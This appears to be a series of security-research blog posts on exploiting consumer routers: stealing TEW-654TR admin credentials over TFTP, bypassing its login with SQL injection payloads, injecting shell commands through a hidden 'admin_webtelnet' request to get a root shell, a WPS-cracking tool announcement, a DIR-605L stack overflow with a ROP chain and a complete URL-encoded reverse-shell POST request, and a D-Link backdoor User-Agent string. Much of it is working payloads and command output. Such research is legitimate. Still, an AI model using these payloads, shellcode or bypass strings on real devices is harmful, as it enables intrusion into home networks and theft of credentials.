lease_file	/var/misc/udhcpd.leases

# The location of the pid file
pidfile	/var/run/udhcpd.pid

# Everytime udhcpd writes a leases file, the below script will be called.
# Useful for writing the lease file to flash every few hours.
notify_file	dumpleases 	# <--- useful for debugging

# The following settings are added by system_manager

interface br0
opt router 192.168.10.1
option subnet 255.255.255.0
option domain 
start 192.168.10.101
end 192.168.10.199
option lease 604800
static_lease 	00:14:d1:b6:02:86 	192.168.10.1

Well it looks like the tftp service is running and accessible. Ideally what we'd like to find is where any sensitive information is stored on the file system so that we can download it through the tftp service.

From the comments in the rcS file, we also know that the system_manager binary is responsible for "load[ing] [the] configure file from Flash". If the system_manager saves the configuration file to a temporary file or to a location in ramdisk, we should be able to retrieve it.

Let's see if there are any file paths referenced by system_manager:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./usr/bin/system_manager | grep '/'
/lib/ld-uClibc.so.0
/etc/default_rt.db
/etc/rt.db
/etc/default_ap.db
/etc/ap.db
/etc/default_apc.db
/etc/apc.db
ln -sf /var/etc/resolv.conf /etc/resolv.conf
/etc/scripts/config-vlan.sh 2 0
tar -zxf /etc/www.tgz
rm -f /etc/www.tgz
cp /www/ap/* /www
cp /www/apc/* /www
cp /www/rt/* /www
rm -rf /www/ap
rm -rf /www/apc
rm -rf /www/rt
cp /usr/bin/my_cgi.cgi /www
mkdir -p /var/log/lighttpd
/usr/bin/lighttpd -f /etc/lighttpd/lighttpd.conf
/var/run/rc.pid
telnetd -l /bin/sh &
/var/run/manager.pid
/var/tmp/wlan_up_time.txt
/lib/modules/2.6.21/kernel/drivers/net/wireless/rt2860v2_ap/rt2860v2_ap.ko
/lib/modules/2.6.21/kernel/drivers/net/wireless/rt2860v2_sta/rt2860v2_sta.ko
/mnt/Wireless/RT2860AP/RT2860AP.dat
/etc/Wireless/RT2860AP/RT2860AP.dat
/mnt/Wireless/RT2860AP/RT2860STA.dat
/etc/Wireless/RT2860AP/RT2860STA.dat
echo 1 > /var/tmp/wireless_enable
echo 0 > /var/tmp/wireless_enable
/var/tmp/wps_status
/var/run/wps_gpio.pid
/var/tmp/dhcp_server.txt
/var/tmp/dhcp_gateway.txt
/var/tmp/dhcpc.tmp
/usr/share/udhcpc/default.bound-dns
/var/misc/udhcpd.leases
/var/etc/udhcpd.conf
/etc/udhcpd.leases
/var/tmp/wan_connect_time.tmp
/var/log/FW_log
/var/log/message_die_bak
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o %s -s %s/%s -j MASQUERADE
echo nameserver %s > /var/etc/resolv.conf
echo nameserver %s >> /var/etc/resolv.conf
/var/etc/ntp.conf
/var/run/timer.pid

The .db files are particularly suspect, as they each appear to have a default backup file. Almost all routers have the ability to restore their default configuration, so they have to store these default settings somewhere; if these .db files are in fact the router's configuration files then this would make sense.

These .db files could be just what we're looking for, but which one should we get? We probably don't want the default files, so that leaves rt.db, ap.db and apc.db. Recall that the device's product page mentioned that it can operate in three different modes: router, access point, and access point client. These files are probably the separate configurations for each mode.

Since the target appears to have remote administration enabled, it is probably not acting as an access point or a client device - a straight access point or client probably wouldn't have a concept of "WAN" vs "LAN" interfaces - so we'll try the rt.db (router) file:

eve@eve:~$ tftp 1.1.1.102
tftp> binary
tftp> get /etc/rt.db
Received 49152 bytes in 0.1 seconds
tftp> quit
eve@eve:~$ file rt.db 
rt.db: SQLite 3.x database

A SQLite database, very interesting! Let's explore it a little with the sqlite3 utility:

eve@eve:~$ sqlite3 rt.db
SQLite version 3.6.22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .tables
advanced_network      restore_default       wan_static          
daylight_saving       smtp_settings         website_filter      
db_version            special_application   website_filter_mode 
dhcp_server           static_routing        wireless_advanced   
dmz                   syslog                wireless_basic      
dynamic_dns           time                  wireless_filter     
dynamic_routing       user                  wireless_filter_mode
ip_filter             virtual_server        wireless_security   
lan_settings          wan_dhcp              wireless_wps        
log_setting           wan_l2tp              wizard_setting      
message               wan_pppoe             wpa_settings        
nat_filter            wan_pptp            
remote_management     wan_settings        
sqlite> .schema user
CREATE TABLE "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT '');
sqlite> select * from user;
admin|asecretpassword|1
user|asecretpassword|0
sqlite>

According to the database, the administrative login is admin:asecretpassword. Let's try it out:

Using the credentials from rt.db

Success! A remote 0-day from some simple firmware analysis; welcome to the wonderful world of embedded security.

This exploit was rather trivial, but this device is chock full of other, more interesting, bugs. We'll explore some more of these vulnerabilities in part 2, so stay tuned!

Exploiting Embedded Systems – Part 2

$
0
0

In part 1 we used the TEW-654TR’s TFTP service to retrieve the administrative credentials to our target system.

But what if we didn’t have access to the TFTP service? Many embedded devices don’t have a TFTP service, or there may be a firewall between us and the target that blocks traffic to UDP port 69. In this case, we’ll have to take a closer look at the web application running on the target.

Burpsuite Login

Using an intercept proxy like Burpsuite (above), we can see that the HTML login page submits our provided credentials to the my_cgi.cgi script. Let’s find that file in our firmware:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ find . -name my_cgi.cgi
./usr/bin/my_cgi.cgi
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ file ./usr/bin/my_cgi.cgi 
./usr/bin/my_cgi.cgi: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped

From the Burpsuite capture, we know that the user inputs from the login page are called ‘user_name’ and ‘user_pwd’; let’s start by looking in the CGI script for any references to these strings:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./usr/bin/my_cgi.cgi | grep -e user_name -e user_pwd
print_user_pwd
select level from user where user_name='%s' and user_pwd='%s'
select level from user where user_name='%s'
user_name
user_pwd
%s
%s
select user_pwd from user where rowid = 1
select conn_type, ip_addr, subnet_mask, gateway, server_ip, user_name, user_pwd from wan_l2tp where rowid = 1
select conn_type, ip_addr, subnet_mask, gateway, server_ip, user_name, user_pwd from wan_pptp where rowid = 1
select conn_type, user_name, user_pwd, service_name, ip_addr from wan_pppoe where rowid = 1

There are several strings here that appear to be SQL queries. The second string looks particularly interesting: it is selecting the ‘level’ column from the ‘user’ table based on the values of ‘user_name’ and ‘user_pwd’.

Using IDA, we find this SQL string referenced in the do_login function:

The do_login function in IDA

The user-supplied user name and password are presumably passed to the sprintf function call along with the SQL query. The result is stored in the sql variable, which is subsequently passed to the exec_sql function. There doesn’t appear to be any filtering of the values passed to sprintf, so unless these values are filtered prior to do_login or in the exec_sql function itself, the login appears to be vulnerable to SQL injection.

If our assumptions are true and the user name and password aren’t sanitized before being used in the SQL query, then we should be able to log in using a specially crafted password, such as:

' or '1'='1

This would cause the resulting SQL query to read:

select level from user where user_name='admin' and user_pwd='' or '1'='1'

This should cause the resulting exec_sql function to return the desired level for the admin user. Let's try it:

Hey! Another 0-day!

It should be noted that we got a bit lucky on this one. The SQL query that we crafted will actually return ALL entries in the level column, but it just so happens that the admin's entry is the first one so it is used. There are at least two users - the admin account and the unprivileged user account - so if the user account's entry was first, then we'd end up logging in with unprivileged rights.

Since we are assuming this is a blind attack, we wouldn't necessarily know that the admin account would be the first returned from the database. To make matters more difficult, the admin and user account names can be modified by the administrator. So a better password to use to ensure we always get admin rights would be something like:

' or level = (select level from user order by level desc limit 1)/*

The above sub-select ensures that we always select the highest level from the user table, no matter what.

This is just the tip of the iceberg; coming up next, we'll be getting down and dirty with MIPS emulation and the IDA debugger in order to locate and exploit more severe bugs in the TEW-654TR. Check back for part 3 soon!

Exploiting Embedded Systems – Part 3

$
0
0

In part 2 of this series we found a SQL injection vulnerability using static analysis. However, it is often advantageous to debug a target application, a capability that we’ll need when working with more complex exploits later on.

In this segment we won’t be discovering any new vulnerabilities, but instead we will focus on configuring and using our debugging environment. For this we will be using Qemu and the IDA Pro debugger. If you don’t have IDA you can use insight/ddd/gdb instead, but in my experience IDA is far superior when it comes to embedded debugging.

Our target binaries from the TEW-654TR are little endian MIPS, so we need an emulator in order to run them on our host system. Qemu is the emulator of choice here, as it supports many different architectures and allows you to run an entire system or just a single executable. We will be doing the latter.

But before you go grab the latest version of Qemu from your distro’s repositories, keep in mind that our MIPS binaries are dynamically linked to MIPS libraries. It is a bad idea to mix your target’s libraries in with those on your host system, so we will need to run Qemu in a chrooted environment; this requires that Qemu be statically linked, as your host libraries will not be accessible from inside chroot. If your repos don’t have static builds of Qemu, you’ll have to build from source (recommended, and not hard):

eve@eve:~/qemu$ ./configure --static && make && sudo make install

With Qemu installed, cd to where you extracted the TEW-654TR’s root file system; copy qemu-mipsel there and run a simple command, such as ls, to make sure everything is working properly:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ cp $(which qemu-mipsel) .
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ sudo chroot . ./qemu-mipsel ./bin/ls 
bin          lib          mnt          root         usr
dev          linuxrc      proc         sbin         var
etc          lost+found   qemu-mipsel  tmp          www

Hey! It works! Now let’s do something useful with it. Let’s get the my_cgi.cgi CGI script that we examined in our previous segment up and running inside of Qemu.

CGI scripts usually take input via environment variables and/or standard input; in order to run the CGI script stand-alone, we’ll need to determine how to pass it HTTP parameters and which parameters it expects. Looking in the CGI script’s main function, we see that it first retrieves the REQUEST_METHOD environment:


If REQUEST_METHOD is set to “GET”, then the CGI script immediately exits. Otherwise, it retrieves three more environment variables: CONTENT_LENGTH, CONTENT_TYPE, and REMOTE_ADDR:


Finally, before processing POST data, the function get_input_entries is called, which references stdin as well as the ‘=’ and ‘&’ POST data delimiter characters:


From this we can deduce that when calling the CGI script we need to set the REQUEST_METHOD, CONTENT_LENGTH, CONTENT_TYPE and REMOTE_ADDR environment variables, and pass in our POST data via standard input.

We’ll need to chroot qemu inside the target’s root file system (as we did previously for the ls command) and pipe our POST data to it through stdin. We can set environment variables for the target binary using the -E option in Qemu; additionally, the value of CONTENT_LENGTH will vary based on the length of the POST data we supply.

All this is easily automated with the following bash script:

#!/bin/bash

INPUT="$1"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"

if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
	echo -e "\nUsage: sudo $0 \n"
	exit 1
fi

cp $(which qemu-mipsel) ./qemu

echo "$INPUT" | chroot . ./qemu -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REMOTE_ADDR="1.1.1.100" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null

rm -f ./qemu

This script takes the POST data string as its only argument, sets the appropriate environment variables, runs the my_cgi.cgi binary inside of a chrooted instance of Qemu, and tells Qemu to start a GDB server listening on port 1234.

Usage is pretty straight forward, but be sure to properly URL encode your POST data. To test the SQL injection bug we found in part 2 of this tutorial, run:

eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ sudo ./run_cgi.sh "request=login&user_name=admin&user_pwd='%20or%20'1'%3D'1"

Qemu will pause execution until we attach a debugger, so now let’s get IDA ready to do some debugging.

First, we need to configure IDA to connect to our remote GDB server. Go to Debugger -> Process options and fill in the IP address of the machine where you ran Qemu, and set the port number to 1234:


Next, let’s set a breakpoint. We want to make sure that our SQL injection in the password input field is going to result in the expected SQL query, so let’s set a breakpoint on the exec_sql call in the do_login function (F2, or right-click and select ‘Add breakpoint’):


OK, we’re ready to go! In IDA select Debugger -> Attach to process. You will get a pop up box asking which process you want to attach to; select ‘attach to the process started on target’:


You may get a couple other pop-ups warning you about the dangers of running unknown code on your system, which you can ignore. You should now be looking at the paused my_cgi.cgi process in the IDA debugger:


Click the run button (green arrow, top left corner) to allow the process to execute. It should quickly stop on the breakpoint we set:


From the registers window we can see that register $a1 holds a pointer to the sql string; go to that address in the hex view:


Excellent! We can see that our SQL injection has worked and that the SQL query is formatted as expected. Of course, we knew it would be.

Don’t miss the next installment of this series where we’ll be leveraging our newfound debugging capabilities to gain root access on the router!

Exploiting Embedded Systems – Part 4

$
0
0

So far in this series we’ve found that we can log in to our target TEW-654TR router by either retrieving the plain text administrator credentials via TFTP, or through SQL injection in the login page. But the administrative web interface is just too limited – we want a root shell!

We’ll be doing a lot of disassembly and debugging, so having IDA Pro Advanced is recommended. But for those of you who don’t have access to IDA, I’ve included lots of screenshots and an HTML disassembly listing courtesy of IDAnchor.

In the last segment we set up our debugging environment using Qemu and the IDA debugger. In this final segment we’ll be debugging the my_cgi.cgi executable in order to gain a better understanding of how this CGI script works, and ultimately to pop a root shell.

Let’s start by analyzing how my_cgi.cgi handles POST data. We know from our previous segments that the POST data sent during authentication is:

request=login&user_name=admin&user_pwd=password

However, there doesn’t appear to be any references to the POST parameter names, such as ‘request’:

eve@eve:~/tew654/rootfs/usr/bin$ strings my_cgi.cgi | grep -w request
eve@eve:~/tew654/rootfs/usr/bin$

In most high level languages, GET and POST parameters are referenced by name, such as $_POST['request'] in PHP. But since our my_cgi.cgi doesn’t contain the string ‘request’, we can assume that the POST parameters are being parsed in another fashion.

We can see that around address 4094F8 there are string comparisons against several different strings, including ‘login’; this looks like the code that processes the POST request parameter:


Let’s set a breakpoint at 4094F8 and start debugging my_cgi.cgi to get a baseline for the code flow of the program:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "request=login&user_name=admin&user_pwd=password"

When the breakpoint is hit, we can see that each of the string comparisons are being done against the string pointer stored in $s0. The $s0 register contains a pointer to the string ‘login’, which was passed in via the ‘request’ POST parameter:


Now let’s see what happens when we change the POST parameter names. We’ll change ‘request’ to ‘foo’:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "foo=login&user_name=admin&user_pwd=password"

And at the breakpoint we see…that nothing has changed:


So it looks like my_cgi.cgi doesn’t process the POST parameters by name, but rather by the order in which they appear in the POST data. It expects the request value to be first, the user name to be second and the user password to be third, and as long as we follow this order we can name the parameters anything we like.

Continuing on in IDA, we see that since our request string matches the ‘login’ string, the branch to 40964C is taken:


Here the request string is compared to some additional – and more interesting – strings:


The ‘admin_webtelnet’ string is particularly interesting, but our request string is ‘login’, so we will never reach that section of code. Let’s restart our emulator, this time passing the string ‘admin_webtelnet’ as our request string:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "request=admin_webtelnet&user_name=admin&user_pwd=password"

Now, we want to end up at location 40964C where all the interesting string comparisons take place. But remember, our request string is first compared at our breakpoint address of 4094F8. And, since our request string does not match ‘login’, ‘logout’, or any of the other strings in that first set of comparisons, rather than ending up at our desired location of 40964C, we end up falling through to this section of code instead:


We see that there is a call to the update_login_time function, and if that function returns a non-zero value, we branch to our desired location at 40964C. We know that the TEW-654 uses a sqlite database, so we can presume that this function updates a timestamp showing the last period of activity for an authenticated user. But, if no user has authenticated, then there will be nothing to update and the SQL update will fail.

What is going on here is that the first string comparisons that we saw at our breakpoint address are the requests that you are allowed to make without authentication. If your request matches one of these, then the code moves on to the real request parsing routine at location 40964C. But, if your request is not one of these allowed values, then the code verifies that you have authenticated before moving on to the request parsing routine.

Now, since we are running my_cgi.cgi as a stand-alone application inside Qemu, we obviously have not authenticated to the device. However, we already have a couple authentication bypass exploits, so we are going to cheat and make my_cgi.ci think that we have authenticated.

In IDA’s registers window, right-click the $v0 register and increment it from zero:


To one:


The code now branches up to location 40964C. And, when our request string is successfully matched against ‘admin_webtelnet’, the address of the function send_telnet_cmd is loaded into $t9 and a branch down to 409ACC is taken:


At location 409ACC, the value loaded into $t9 (send_telnet_cmd) is called:


Stepping into this function call, we see that send_telnet_cmd creates a command string using sprintf, piping the output to the /tmp/tmp_send_result file:


Looking at the values passed to the sprintf function, we see that ‘admin’ – the value of our user_name POST parameter – is being used as the command to execute:


Knowing this, let’s re-run my_cgi.cgi with an actual shell command for the second POST value:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "request=admin_webtelnet&cmd=echo test"

And check the result in the debugger:


Looks good! Let’s try it out on the live device (remember to first log in using the SQL injection or TFTP exploits):


We can verify that the echo command was successfully executed by requesting the /tmp/tmp_send_result file via TFTP:

eve@eve:~$ tftp 1.1.1.102
tftp> get /tmp/tmp_send_result
Received 2 bytes in 0.0 seconds
tftp> quit
eve@eve:~$ cat tmp_send_result
1
eve@eve:~$

Now that we’ve verified that it works, we can try some more interesting commands. Let’s start up a telnet service:


And drop the firewall:


And get a shell:

eve@eve:~$ telnet 1.1.1.102
Trying 1.1.1.102...
Connected to 1.1.1.102.
Escape character is '^]'.


BusyBox v1.01 (2011.05.30-12:58+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain MINIUPNPD (0 references)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain WSC_UPNP (0 references)
target     prot opt source               destination

We’re now free to upload and execute whatever we want, and that concludes this tutorial series. But there are plenty more vulnerabilities in the TEW-654 that we just don’t have time to cover, so I encourage you to take a look for yourself and see what you can find!

Cracking WPA in 10 Hours or Less

$
0
0

The WiFi Protected Setup protocol is vulnerable to a brute force attack that allows an attacker to recover an access point’s WPS pin, and subsequently the WPA/WPA2 passphrase, in just a matter of hours.

This is something that I’ve been testing and using for a while now, but Stefan over at .braindump beat me to publication. Such is life. :)

Stefan’s code isn’t quite ready for release yet, so I’ve open-sourced Reaver, my WPS attack tool. Reaver is stable and has been tested against a variety of access points and WPS implementations.

Usage is simple; just specify the target BSSID and the monitor mode interface to use:

# reaver -i mon0 -b 00:01:02:03:04:05

For those interested, there is also a commercial version available with more features and speed improvements.


Reaver Now Goes to 11

$
0
0

The decision has been made to open source the Reaver command line tool. The commercial version will contain the all the features the open source command-line tool has along with a web based client, support, and service options.

This means that the open source version of Reaver will have much requested features, such as identification of WPS enabled networks and pause/resume functionality.

This also means that Reaver will have the ability to specify specific options for a given model inside a database. In other words, if it is known that certain options are required or helpful when attacking XYZ router, you can put them in the database and they will be automatically applied whenever you target that model router. How often the FOSS database will be updated remains to be seen, obviously those paying for the support plan will take priority.

The latest Reaver release (1.3) now also implements the short DH key optimizations described in the original vulnerability release paper, which reduces computation time on the target AP and increases the attack speed.

Exploiting a MIPS Stack Overflow

$
0
0

Although D-Link’s CAPTCHA login feature has a history of implementation flaws and has been proven to not protect against the threat it was intended to thwart, they continue to keep this feature in their products. Today we’ll be looking at the CAPTCHA implementation in the D-Link DIR-605L, which is a big-endian MIPS system running Linux 2.4.

A pre-authentication vulnerability exists in the DIR-605L’s processing of the user-supplied CAPTCHA data from the Web-based login page. The formLogin function in the Boa Web server is responsible for handling the login data, and obtains the value of the FILECODE POST variable using the websGetVar function. The FILECODE value contains a unique string identifying the CAPTCHA image displayed on the login page, and is saved to the $s1 register:

$s1 = FILECODE

If the CAPTCHA feature is enabled, this value is later passed as the second argument to the getAuthCode function:

FILECODE value being passed to getAuthCode

The getAuthCode function saves the FILECODE value back to the $s1 register:

$s1 = $a1

Which in turn is passed as the third argument to sprintf, (note the ‘%s’ in the sprintf format string):

sprintf’s are bad, mmmk?

The result of the sprintf is saved to the address contained in $s0, which is the address of the stack variable var_80:

$a0 = var_80

This is a classic stack based buffer overflow, and overflowing var_80 allows us to control all of the register values saved onto the stack by getAuthCode’s function prologue, including the saved return address and the saved values of the $s0 – $s3 registers:

getAuthCode stack layout

From the stack layout above, we can see that the beginning of the var_80 stack variable (-0×80) is 0×78 bytes away from the saved return address (-0×08). The format string passed to the sprintf function is “/var/auth/%s.msg”, so there are 10 bytes (“/var/auth/”) that are copied into the var_80 buffer before our user-supplied content.

This means that supplying 0×78 – 0x0A = 0x6E byte long FILECODE value will overflow all of the stack values up to the saved return address, and the next four bytes should overwrite the saved return address on the stack. We can test this by setting a breakpoint on the return from getAuthCode and sending the following POST request:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 232


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD&login_name=&curTime=1348588030496&login_n=admin&login_pass=Zm9vb255b3UA&VER_CODE=

Registers at getAuthCode return

Excellent! But before we can build an exploit, we need to examine some of the constraints that we’ll need to deal with. First of all, any payload we send obviously must be NULL free, however, it also cannot contain the character ‘g’. This is due to the fact that prior to calling getAuthCode, the formLogin function looks for the first instance of the character ‘g’, and if found, replaces the next byte with 0×00:

strchr(FILECODE, ‘g’);

Beyond this, we have virtually no restrictions on the content of our payload. We will however need to deal with cache incoherency, so we’ll use a few MIPS ROP techniques to flush the MIPS data cache and obtain a relative pointer back to our data on the stack in order to gain arbitrary code execution.

The easiest and most reliable method of flushing the cache that I’ve found is to force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically. At offset 0x248D4 in libc.so we find the following:

First ROP gadget

This loads the value 1 into $a0, then copies the value of $s1 (which we control) into $t9 and performs a jump and link to $t9; this is perfect for setting up the argument to sleep(), so we will use this as our first ROP gadget. We will point $s1 at a our next ROP gadget, offset 0x2B954 in libc.so:

Second ROP gadget

This copies the value of $s2 (which we control) into $t9, restores the value of $ra from the stack and then jumps to the address loaded in $t9. Since we control both $s2 and data on the stack, we can ensure that $s2 contains the address of the sleep function (located at offset 0x23D30 in libc.so), and also control the value loaded into $ra. This means that not only can we call sleep, but we can control where it returns to. Note that it also allows us to load new values from the stack into registers $s0 – $s4.

Next, we find a relative stack reference in another library, apmib.so. At offset 0x27E8 it copies the stack pointer plus an offset of 0x1C into the $a2 register, then calls $s1:

Third ROP gadget

If we cause $s1 to point to offset 0x1D78 in the apmib.so library, it will copy $a2 (which now contains a pointer to the stack) into $t9, then jump and link to $t9:

Fourth ROP gadget

Attentive readers may notice that the first and third gadgets require $s1 to point to different addresses. However, recall that our second gadget loads data from a different location on the stack into $s1, so after the first gadget is finished we can load $s1 with a new value and re-use it in our third ROP gadget.

Thus, we need to craft our stack such that:

  • The function epilogue of getAuthCode loads 0x2B954 into $s1, the address of sleep (0x23D30) into $s2, and 0x248D4 into $ra
  • The second ROP gadget loads 0x1D78 into $s1 and 0x27E8 into $ra
  • Our shellcode must be located at $sp+0x1C after sleep returns

Taking the base addresses of the libc.so and apmib.so libraries into account, our payload then becomes:

        libc  = 0x2ab86000
        apmib = 0x2aaef000

        payload = MIPSPayload(endianess="big", badbytes=[0x00, 0x67])

        payload.AddBuffer(94)                      # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x2B954, base=libc)     # $s1
        payload.AddAddress(0x23D30, base=libc)     # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddAddress(0x248D4, base=libc)     # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x01D78, base=apmib)    # $s1
        payload.AddBuffer(4)                       # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddBuffer(4)                       # $s4
        payload.AddAddress(0x027E8, base=apmib)    # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.Add(shellcode)                     # shellcode 

It should be noted that the shellcode piece is in itself non-trivial. While I won’t discuss MIPS shellcoding here, just about any MIPS shellcode found online will not work out of the box (except for maybe some simple reboot shellcode). They may work on the specific systems they were tested against, but aren’t very generic and will likely need some tweaking. I will be using some slightly modified reverse shell code that should work on most MIPS systems.

The final POST request contains none of our restricted characters, and looks like:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 894


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BB%19T%2A%BA%9D0AAAA%2A%BA%A8%D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%AF%0DxAAAAAAAAAAAA%2A%AF%17%E8AAAAAAAAAAAAAAAAAAAAAAAAAAAA%24%0F%FF%FA%01%E0x%27%21%E4%FF%FD%21%E5%FF%FD%28%06%FF%FF%24%02%10W%01%01%01%0C%AF%A2%FF%FF%8F%A4%FF%FF4%0F%FF%FD%01%E0x%27%AF%AF%FF%E0%3C%0E%1F%905%CE%1F%90%AF%AE%FF%E4%3C%0E%7F%015%CE%01%01%AF%AE%FF%E6%27%A5%FF%E2%24%0C%FF%EF%01%800%27%24%02%10J%01%01%01%0C%24%0F%FF%FD%01%E0x%27%8F%A4%FF%FF%01%E0%28%21%24%02%0F%DF%01%01%01%0C%24%10%FF%FF%21%EF%FF%FF%15%F0%FF%FA%28%06%FF%FF%3C%0F%2F%2F5%EFbi%AF%AF%FF%EC%3C%0En%2F5%CEsh%AF%AE%FF%F0%AF%A0%FF%F4%27%A4%FF%EC%AF%A4%FF%F8%AF%A0%FF%FC%27%A5%FF%F8%24%02%0F%AB%01%01%01%0C&curTime=1348588030496&VER_CODE=1234&login_n=admin&login_pass=Zm9vb255b3UA&login_name=admin

And results in:

Reverse root shell

Success. :)

For those interested, PoC code that spawns a reverse root shell to 192.168.1.100:8080 and has been tested against firmware versions 1.10, 1.12 and 1.13 can be found here.

Reverse Engineering a D-Link Backdoor

$
0
0

All right. It’s Saturday night, I have no date, a two-liter bottle of Shasta and my all-Rush mix-tape…let’s hack.

On a whim I downloaded firmware v1.13 for the DIR-100 revA. Binwalk quickly found and extracted a SquashFS file system, and soon I had the firmware’s web server (/bin/webs) loaded into IDA:

Strings inside /bin/webs

Strings inside /bin/webs

Based on the above strings listing, the /bin/webs binary is a modified version of thttpd which provides the administrative interface for the router. It appears to have been modified by Alphanetworks (a spin-off of D-Link). They were even thoughtful enough to prepend many of their custom function names with the string “alpha”:

Alphanetworks' custom functions

Alphanetworks’ custom functions

The alpha_auth_check function sounds interesting!

This function is called from a couple different locations, most notably from alpha_httpd_parse_request:

Function call to alpha_auth_check

Function call to alpha_auth_check

We can see that alpha_auth_check is passed one argument (whatever is stored in register $s2); if alpha_auth_check returns -1 (0xFFFFFFFF), the code jumps to the end of alpha_httpd_parse_request, otherwise it continues processing the request.

Some further examination of the use of register $s2 prior to the alpha_auth_check call indicates that it is a pointer to a data structure which contains char* pointers to various pieces of the received HTTP request, such as HTTP headers and the requested URL:

$s2 is a pointer to a data structure

$s2 is a pointer to a data structure

We can now define a function prototype for alpha_auth_check and begin to enumerate elements of the data structure:

struct http_request_t
{
    char unknown[0xB8];
    char *url; // At offset 0xB8 into the data structure
};

int alpha_auth_check(struct http_request_t *request);

alpha_auth_check itself is a fairly simple function. It does a few strstr’s and strcmp’s against some pointers in the http_request_t structure, then calls check_login, which actually does the authentication check. If the calls to any of the strstr’s / strcmp’s or check_login succeed, it returns 1; else, it redirects the browser to the login page and returns -1:

alpha_auth_check code snippet

alpha_auth_check code snippet

Those strstr’s look interesting. They take the requested URL (at offset 0xB8 into the http_request_t data structure, as previously noted) and check to see if it contains the strings “graphic/” or “public/”. These are sub-directories under the device’s web directory, and if the requested URL contains one of those strings, then the request is allowed without authentication.

It is the final strcmp however, which proves a bit more compelling:

An interesting string comparison in alpha_auth_check

An interesting string comparison in alpha_auth_check

This is performing a strcmp between the string pointer at offset 0xD0 inside the http_request_t structure and the string “xmlset_roodkcableoj28840ybtide”; if the strings match, the check_login function call is skipped and alpha_auth_check returns 1 (authentication OK).

A quick Google for the “xmlset_roodkcableoj28840ybtide” string turns up only a single Russian forum post from a few years ago, which notes that this is an “interesting line” inside the /bin/webs binary. I’d have to agree.

So what is this mystery string getting compared against? If we look back in the call tree, we see that the http_request_t structure pointer is passed around by a few functions:

call_graph

It turns out that the pointer at offset 0xD0 in the http_request_t structure is populated by the httpd_parse_request function:

Checks for the User-Agent HTTP header

Checks for the User-Agent HTTP header

Populates http_request_t + 0xD0 with a pointer to the User-Agent header string

Populates http_request_t + 0xD0 with a pointer to the User-Agent header string

This code is effectively:

if(strncasecmp(header, "User-Agent:", strlen("User-Agent:")) != NULL)
{
    http_request_t->0xD0 = header + strlen("User-Agent:") + strspn(header, " \t");
}

Knowing that offset 0xD0 in http_request_t contains a pointer to the User-Agent header, we can now re-construct the alpha_auth_check function:

#define AUTH_OK 1
#define AUTH_FAIL -1

int alpha_auth_check(struct http_request_t *request)
{
    if(strstr(request->url, "graphic/") ||
       strstr(request->url, "public/") ||
       strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
    {
        return AUTH_OK;
    }
    else
    {
        // These arguments are probably user/pass or session info
        if(check_login(request->0xC, request->0xE0) != 0)
        {
            return AUTH_OK;
        }
    }

    return AUTH_FAIL;
}

In other words, if your browser’s user agent string is “xmlset_roodkcableoj28840ybtide” (no quotes), you can access the web interface without any authentication and view/change the device settings (a DI-524UP is shown, as I don’t have a DIR-100 and the DI-524UP uses the same firmware):

Accessing the admin page of a DI-524UP

Accessing the admin page of a DI-524UP

Based on the source code of the HTML pages and some Shodan search results, it can be reasonably concluded that the following D-Link devices are likely affected:

  • DIR-100
  • DIR-120
  • DI-624S
  • DI-524UP
  • DI-604S
  • DI-604UP
  • DI-604+
  • TM-G5240

Additionally, several Planex routers also appear to use the same firmware:

  • BRL-04R
  • BRL-04UR
  • BRL-04CW

You stay classy, D-Link.

UPDATE:

